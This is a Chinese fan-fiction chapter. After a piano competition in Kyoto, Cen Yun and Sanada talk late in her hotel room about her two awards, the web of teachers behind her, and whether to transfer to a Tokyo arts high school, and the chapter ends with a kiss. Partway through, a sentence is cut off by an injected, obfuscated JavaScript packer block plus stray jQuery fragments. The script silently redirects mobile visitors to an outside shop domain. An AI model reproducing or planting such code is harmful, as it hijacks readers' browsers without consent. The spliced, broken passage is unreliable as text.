晚饭结束时已经很晚。
从餐厅出来以后,幸村没有像之前一样继续和他们一起走。他看了一眼时间,又看了一眼依然明显没有从比赛里完全安静下来的岑韵,很自然地停在电梯口。
“我先回房间了。”
岑韵还挽着真田的手臂,闻言抬头:“这么早?”
“已经不早了。”幸村笑了一下,“而且明天还要回东京。”
岑韵像是这时才想起第二天还有行程,稍微安静了半秒:“那晚安。”
“晚安。”幸村又看向真田,什么都没说,只很轻地点了一下头。
真田也点头。
电梯门合上以后,走廊里一下安静许多。岑韵仍然没有松开手。真田低头看了一眼她还没换掉的裙子:“回去以后早点休息。”
“嗯。”
回答得很快,快得让真田有一点怀疑。
两个人走到岑韵的房间门口。岑韵刷开门卡,自己先进去。真田把她的外套递给她,便准备离开。转身时手腕突然被拉住。
“你去哪?”
“回房间。”
岑韵看着他,“现在?”
“已经很晚了。”
“可是我们快两个月没见了。”她说得理所当然。真田原本已经准备好的“明天还要早起”就这样停在了那里。
真田沉默了几秒。岑韵没有催,只抓着他的手腕等着。
最后,他把刚刚已经准备往电梯走的脚收了回来。“不能聊太晚。”
岑韵一下笑起来,“知道了。”
真田看了她一眼。这个“知道了”可信程度很低。
=====
岑韵回来以后只打开了床边、书桌和窗边的几盏台灯,暖黄色的光落在墙壁、地毯和床单上,把白天比赛时过于明亮的舞台感全部隔在外面。
房间在酒店很高的楼层。
一整面落地窗外几乎没有近处建筑遮挡,京都夜景铺得很远。城市本身并不像东京那样被大片高楼填满,深色屋顶和低矮街区在夜里沉下去,只留下道路、寺社周围和零散建筑的灯光,把城市勾出一层安静而古朴的轮廓。更远处,京都塔亮在夜色里,细长的白色塔身从一片低矮灯火中伸出来,像一个非常明确的坐标。
窗帘只拉了一半,于是房间里面的暖光和窗外京都的夜色刚好叠在一起。
岑韵把门关上以后,终于把那双穿了一晚上的马丁靴踢到一边。她连拖鞋都懒得找。真田刚把外套搭在椅背上,回过头时,就看见她提着裙摆走到床边,几乎没有任何犹豫地直接扑了上去。
大面积天蓝色布料一下铺开。裙摆从床中央散到两边,整张床突然被占去了大半。
岑韵自己陷在中间,赤着脚,先低头整理了一下被压乱的裙子,又忽然抬头:“我今天真的很好看。”
真田站在原地。
她晚饭时已经说过一次。
不止一次。
岑韵显然完全没有意识到自己正在重复:“我刚才回来的时候在电梯镜子里又看了一遍。我真的觉得这个蓝色特别适合我。”
“嗯。”
“我妈妈这次选对了。”
“知道了。”
她听见这句,立刻不满:“你为什么说得像我已经讲过很多遍?”
真田没有回答。因为她确实讲过很多遍。
岑韵自己想了两秒,大概也意识到了,却完全没有因此准备停下来。她从床上坐起来,大裙摆跟着她移动,她又开始说刚才没讲完的比赛。
“我吃饭的时候忘了说,颁最佳马祖卡的时候那个评委其实还说了一句,我以后如果再弹马祖卡,他很想听。我觉得这个比奖本身还让我开心。”
真田靠在窗边那张单人沙发上,安静听着。
“因为他是波兰人。”岑韵认真解释,“而且他今天在颁奖的时候看起来特别严肃。我之前还以为他只是比较礼貌,但是桐生老师说他半决赛评分真的很高。”
她说着说着又跪起来。裙摆被膝盖压住一部分,她完全不在意,甚至为了模仿评委递证书时的表情,拖着整片布料从床中央挪到另一侧。
“他就是这样——”岑韵把脸收得严肃一点,“然后说,I hope I can hear you play more mazurkas in the future.”
她自己复述完又笑:“这是不是说明我真的弹得很好?”
“嗯。”
“不是安慰?”
“不是。”
“你今天听懂了吗?”
真田停了一下:“一部分。”
岑韵已经很满意。她又从马祖卡说回第二谐谑曲,接着不知道为什么跳到佐伯澪颁奖前抱她,再绕回台阶。
“你看我的裙子,边缘这里有一点被勾过,所以绝对不是我不会走路。”她把裙子一角翻出来给真田看。
真田看着她:“你还在想这个?”
“全音乐厅都看到了。”
“已经过去了。”
“但是录像里肯定也有。”
“嗯。”
岑韵一下坐直:“你不要回答那么快。”
真田终于没忍住,嘴角很轻地动了一下。那个笑意短得几乎没有真正形成。岑韵正在低头整理裙摆,完全没有看见。他自己甚至也没有意识到。
她平时很少这样。
岑韵平时也会因为某件喜欢的事变得兴奋,可像今天这样一遍又一遍地重复同一个细节,话题从比赛跳到裙子,再跳回评委,下一秒又忽然跪起来比划某一个乐句,几乎没有停下来的时候,非常少见。
真田没有打断。
今天本来就应该这样。
她拿了两个奖,重新回到多年没有参加过的钢琴比赛里,在十二个人的半决赛和六个人的决赛里一路走到第二名,还拿到了她自己最在意的马祖卡特别奖。
她想把所有东西重新讲一遍,就让她讲吧。
岑韵很快发现真田坐的离她有点远。她说到一半停下来:“你为什么坐那么远?”
真田看了一眼两个人之间不到两米的距离,“没有很远。”
“很远。”岑韵很严肃地点头,“过来。”
真田没有动。
岑韵直接从床上伸手:“弦一郎。”
他最终还是站起来,走到床边。岑韵给他让出一个位置。
所谓让出,其实只是把巨大裙摆往旁边胡乱推了一下。真田看着那堆几乎占据整个床面的天蓝色布料,沉默片刻,最后还是侧身坐下,靠到床头。
岑韵立刻又靠近了一点。她没有完全贴上来,只是说话的时候肩膀时不时碰到他,下一秒又因为想起来什么坐直。她似乎根本没有意识到自己每一次坐直以后,过不了多久又会重新靠回来。
温暖的灯光从侧面落下来。
她的头发经过一整天已经有些乱了。原本整理得很漂亮的长卷发松下来几缕,落在脸颊和肩侧,只有那枚树枝形的发卡还牢牢留在原来的位置,随着她说话时不断晃动的动作,在灯下偶尔闪一下。
真田坐在床头看着她。
现在的岑韵和两年前真田刚认识时她的样子比,眉骨和鼻梁更立体了,眼窝也深了一些,侧过脸时尤其能看出来自她母亲那一边更明显的欧洲轮廓。偏偏她现在光着脚坐在一整片夸张的天蓝色裙摆里,头发散得有些乱,脸颊因为一整晚没有停下来的兴奋仍然泛着红。精心准备的礼服、闪亮的发卡和她现在毫无仪态可言的坐姿放在一起,本来应该很不协调。
真田看了她一会儿。不知道为什么,他脑子里忽然出现了一个极其具体、甚至有些不符合他平时思维方式的联想。
岑韵很像某部迪士尼动画里刚从舞会跑出来、到现在还没完全冷静下来的公主。
这个念头出现以后,真田自己先沉默了。
岑韵完全不知道他脑子里发生了什么,还在继续:“而且我跟你说,我今天真的觉得自己很棒。”
真田看着她,过了一会儿才应了一声。“嗯。”
“我已经好多年没有参加正式钢琴比赛了。然后第一次回来,十二进六,最后第二,还两个奖。”她伸出两根手指,非常认真地在他面前晃了一下。“两个。”
真田看着她:“我知道。”
岑韵自己又笑了:“我是不是有点得意忘形?”
“有一点。”
“但是我今天可以。”
“嗯。”这次回答里甚至没有任何纠正意味。
岑韵满意了。她把腿重新盘起来,裙摆被弄得一团乱,又突然想起晚饭时提到的九岁比赛记录。“对了,我给你看个东西。”她抓过手机,开始往很早以前的家庭相册里翻。
图片实在太多。她翻了好一会儿,终于找到一张明显是从旧照片上重新拍下来的图片。
“这个。”
真田接过手机。
照片里的岑韵显然年纪小很多。舞台背景上有一些韩文,她站在中央,抱着一个几乎有自己半个上身那么大的奖杯。那时候头发比现在短很多,穿着白色的小礼服,胸前别着比赛号码。
她是第一名。但她没有笑。嘴唇紧紧抿着,看起来甚至有一点不高兴。
真田看了一会儿:“为什么这个表情?”
岑韵把手机拿回来,往后滑了一张。真田马上就明白了。
第二张也是翻拍的旧照片。
年轻许多的岑教授站在舞台下面,抱着女儿。九岁的岑韵一只手还抓着奖杯,另一只手搂着爸爸的脖子,终于笑得非常开心。
岑韵缺了一颗门牙。
真田视线停住,眼里出现一点点笑意。
岑韵自己也笑了:“我那时候换牙。”
真田没说话。
“很丑吗?”
“没有。”
“真的?”
“嗯。”
“你明明看很久。”
“只是没怎么看过你小时候的样子。”
岑韵凑过去一起看。照片里的女孩眉眼其实已经能找到现在的影子,但脸颊还是孩子特有的圆润,笑起来也完全没有任何舞台上的控制感。
她突然说:“其实我小时候比赛比现在多。”
“为什么后来不参加?”
“去了英国以后事情太多了,然后就又来日本了。”她把手机放到一边,话题又自然地跳到了这次比赛的评委和老师。“所以他们现在才会觉得我像突然冒出来的。”
说到这里,她忽然觉得光靠嘴讲已经不够清楚。
“等一下,”她转身去够桌边的便签纸,“我给你画。”
桌子离床不远,岑韵却懒得下床。她拖着裙摆往床边挪,一只脚刚踩起来,另一侧裙摆正好被压在膝盖下面。下一秒,整个人明显失去平衡。
“Ah!!”
真田几乎在她身体往前栽的同时伸手,一把从腰侧把她捞回来。岑韵撞到他肩膀上,裙摆跟着整个堆成一团。
房间里安静了两秒。
真田低头看她:“去换衣服。”
岑韵立刻:“刚才只是因为——”
“去换。”
“是裙子压住了。”
“所以去换。”
这一次语气已经完全不是建议。岑韵看了他几秒,最终还是投降。她从床上爬下来,抱着裙摆往浴室方向走,走到一半还回头强调:“真的不是我平衡不好。”
真田:“嗯。”
“你这个‘嗯’又来了。”
房间再次安静下来。
窗外的京都塔仍然亮着。从这个高度看下去,夜里的城市显得比白天更加安静。大片低矮建筑沉在暗处,暖色灯光沿着街道和古老街区一点点铺开,不远处偶尔能看见现代建筑更明亮的轮廓,却没有真正破坏整片城市压得很低的天际线。
真田站在窗边看了一会儿。
等浴室门重新打开时,落地窗玻璃上映出岑韵走回来的影子。她换了一身宽松的浅色居家服,头发也重新梳开一些。舞台妆也卸掉了,但发卡还在头发上。她把礼服挂到衣架上,拿着便签纸和笔爬回床上,直接趴下来。
“现在可以画了。”
真田仍然靠在床头。
她把第一张便签贴在床单上,先写自己的名字缩写——LC。
然后从旁边拉出一条线。
“这个是我上海的老师。”
又一条。
“她的老师,就是这次评委里的上海音乐学院教授。”
真田低头看。
岑韵写得非常认真,“然后我现在东京的老师是桐生老师。她是东京艺大钢琴专攻的青年教师。Mio的老师跟她是同事。藤原教授,就是给我颁第二名奖的那个日本评委,是他们钢琴专攻的主任。”
她一边说一边画。箭头很快开始往几个方向分叉。
“然后我上海老师和这次那个北京男生的老师以前在柏林艺术大学是同学。”
“你怎么知道?”
“比赛后台聊出来的。”
她继续画。
“然后伦敦那边更麻烦。我在伦敦的老师参加过一个大师班,那个大师班的教授和桐生老师以前合作过一个音乐节。等一下,这里应该不是直接连——”
岑韵皱着眉,把一张便签撕下来重新贴。
真田看着面前越来越像某种战术图的关系网。
岑韵趴得太低,一缕头发从额前落下来,正好挡住眼睛。但她没有理会。她正准备继续写,真田伸手,把那缕头发轻轻拨回去,又顺着发卡原来的位置重新夹好。
岑韵动作没停,但嘴角很轻地弯了一下,也没有说什么,低头继续。
“总之就是这样。”
又过了十几分钟,床上已经铺了七八张便签。名字、学校、老师、大师班、比赛、音乐节,连线越来越多。
真田终于明白了她晚饭时说的“圈子很小”到底是什么意思。真田原本以为这些学校、比赛和老师之间只是偶尔存在联系。直到岑韵把七八张便签铺满床面,他才发现,到了这个层次以后,所谓“不同体系”其实始终在不断重叠:一个人的老师可能曾经是另一个评委的学生;不同国家的教授会在同一个大师班授课;音乐节、比赛和院校之间不断交换评委、客座教师和学生。某一个年轻选手只要继续往专业路线里走,总会在几层关系以后重新遇见认识的人。
岑韵只是看起来像是多年没有参加比赛以后突然闯进决赛的普通高中学生。
其实并不是。
她小时候在上海接受的训练、后来在伦敦的老师,以及现在东京艺大的指导教师,本身都属于非常正统而且高水平的古典钢琴教育体系。
她只是没有按照大部分专业学生最容易被看见的方式生活。
“所以他们能找到你九岁的比赛,不奇怪。”真田说道。
“对,”岑韵翻过身,枕着真田的腿,看着天花板。“而且你只要问一个人,他就会告诉你另外一个人,再问下去,全连起来了。”
“像网。”
“蜘蛛网。”她自己说完笑了,“有点可怕对不对。”
“你不喜欢?”
“不是。”岑韵回答得很快。她重新坐起来。“我觉得很有意思。”
真田看得出来,她是真的喜欢理解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17858129|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这种系统。谁跟谁学过,哪一种训练传统从哪里延伸出来,为什么一个评委听见某种处理以后会立刻联想到某一派老师。
岑韵突然想起另一件被自己丢在桌上的东西。
“对了。”
她从床上下来。这一次没有裙摆,也没有再发生任何事故。她从比赛资料下面抽出一个文件夹,回来时坐的比之前离真田更近。“这个是桐生老师今天给我的。”
里面不是比赛文件。是东京艺术大学音乐学部附属音乐高等学校的介绍资料。课程安排、专业训练、学校演奏会,还有转学和编入相关的信息,被老师提前整理得很完整。
真田接过来看了一眼。
岑韵坐在旁边,语气也终于没有前面那么快。“今天等结果的时候,她很认真问了我一次,要不要考虑转去艺大附属。”
真田抬头。
“她说,如果我真的想走专业,现在完全来得及。这次比赛以后,东京艺大那边已经有几个老师知道我了。技术、曲目量和以前的训练都没有问题,真正需要补的是我没有长期处在音乐学校体系里。”
她把其中一页翻出来,“这里课程其实很好。文化课也有,不是只练琴。然后专业资源当然特别好,演奏机会、大师班、室内乐、乐团合作都比普通高中多很多。”
她又翻了一页。“Mio就在这里。她今天那个状态就很能说明问题。她真的很习惯比赛和舞台,而且老师之间的资源也很完整。”
真田没有插话。
岑韵还在说:“如果想申请东京艺大或者欧洲音乐学院,这边路线也会很顺。桐生老师说我现在过去并不晚,甚至因为我基础已经够了,适应期可能不会特别长。”
她说了很多优点,几乎没有一个是假的。真田听了一会儿,却慢慢发现,岑韵说了很久,很多,但是缺了一件事情。
真田看着她手里的资料:“不想去?”
岑韵立刻摇头:“不是。”回答得太快。她自己停了一下,又重新组织:“不是不想。我觉得它真的很好。如果我要走钢琴专业,这可能是非常好的选择。”
“嗯。”
“而且我也不讨厌比赛。”
“我知道。”
“今天我真的特别开心。”她说到这里停住,刚才一直翻动资料的手也慢下来。
真田没有替她接话。
岑韵低头看着那张写满课程安排的纸。过了一会儿,她才说:“但是——”
真田等着。
“但是什么?”
岑韵想了很久。“好像会一直有下一个。”
她没有继续往下说。真田却大概知道那个“下一个”是什么。比赛结束以后是下一场比赛,一套曲目结束以后还有下一套。今天拿到第二名以后,专业体系不会停在那里让她慢慢享受这个结果。如果真的进入那条路,很快就会有新的目标。
岑韵开始说得有些乱:“今天站在台上的时候我真的很开心。半决赛也是。甚至我觉得下一次再比赛,我可能也会想参加。”她皱了一下眉,“但是如果一直这样——每次都要准备下一套东西,去下一个地方,然后再证明一次,再等结果。”
真田没有立即评价。他安静了一会,重新问道:“你不喜欢这样?”
岑韵抬头:“也不是。”
“今天比赛呢?”
“很开心。”
“练琴呢?”
“也喜欢。”
岑韵可能都没发现自己的声音里带着越来越多的困惑。
真田突然换了一个方向:“数学呢?”
这个问题来得很突然。岑韵抬头:“什么?”
“你做数学的时候,也会觉得一直有下一个吗?”
她几乎没有思考:“不会。”回答快得连她自己都停了一下。
岑韵慢慢把资料放到床边。“数学不会催我。”
真田依然在看着她。
她是第一次考虑这些。“一个问题今天做不出来,明天它还在那里。”她开始一点点往下理。“甚至一个星期以后、一个月以后,它还是那个问题。没有人因为我今天没有解出来,就把这个问题拿走。”
真田没有说话。
岑韵坐直了一些,抱住膝盖。“我可以一直坐在那里。想一个地方为什么不对,换一种方式,再回来。直到我真的把它想清楚。”她停下思考了一下:“而且我做数学的时候,很少想我以后要去哪里。”
这句话落下以后,她自己先安静了。
职业钢琴家不一样。
她喜欢作品,喜欢练琴,也喜欢今天的比赛。可这些和想不想一直生活在那个系统里,似乎并不是同一个问题。
真田觉得不应该轮到自己告诉她应该选什么。他只是想坐在这里陪她把这些话说完。
“你现在不用决定。”他说。
岑韵看向他。
“老师只是让你考虑。”
“我知道。”
“那就考虑。”回答非常真田,却意外地让她放松了一点。
岑韵把资料重新合起来,没有再继续翻。
等她再次看时间,已经远远超过真田原本说的“不能太晚”。
她的兴奋终于一点点退下去。白天舞台残留的热度、颁奖时几乎停不下来的高兴、晚饭后的语言事故和那些不断重复的细节,都慢慢沉下来。
真田从床边站起来:“去洗澡,早点睡。”
岑韵靠在床头,没有动。
“明天还要回东京。”
“知道了。”
“早点睡。”
“嗯。”
真田拿起自己的外套,准备离开。刚走一步,手被拉住。
他回头。岑韵还靠在床头,手指紧紧抓着他的手腕,没有松开的意思。
“你是不是忘了什么?”
真田看了她两秒,那种熟悉的无奈重新出现在眼里,却没有真的拒绝。他弯下身,手撑在她身侧,低头吻了她一下。
原本只是一个很轻的吻,岑韵却没有让他立刻起来。她伸手环住他的脖子,把他留在离自己很近的位置。
岑韵看着他,声音也比刚才轻了许多:“我今天是不是很棒?”
“嗯,很棒。”
她终于笑了。没有饭桌上那种得意。只是手臂仍然环在他颈后,整个人靠得很近。
“我今天很开心。”
“嗯。”
“你今天开心吗?”
“开心。”
“因为我拿奖?”
真田停了一下,“因为你很开心。”
她原本还带着笑的表情慢慢静下来。
台灯的暖光落在两个人之间。窗外的京都已经安静很多,远处仍然亮着的灯隔着玻璃变成一层模糊的光。真田离她很近,近到岑韵能够看清他的眼睛。
岑韵发现,自己从晚饭到现在讲了那么多,几乎把今天所有事情都重新说了一遍,却好像一直没有说最简单的那个。
“弦一郎。”
“嗯?”
“我好想你。”新年以后,这是他们第一次真正见面。
真田没有马上回答。隔了两秒,他才低声说:“我也是。”
岑韵盯着他:“有多想?”
真田没有说话。他仍然保持着刚才俯身的姿势。
岑韵等了一会儿,眼睛里的笑意又一点点回来。她故意又把脸凑近一点:“那听起来也并没有很想。”
真田很认真地看着她。那一瞬间,他脸上的神情并没有明显变化。岑韵以为自己又赢了一次。
只是岑韵还没来得及再说下一句,真田已经低下头,重新吻住她。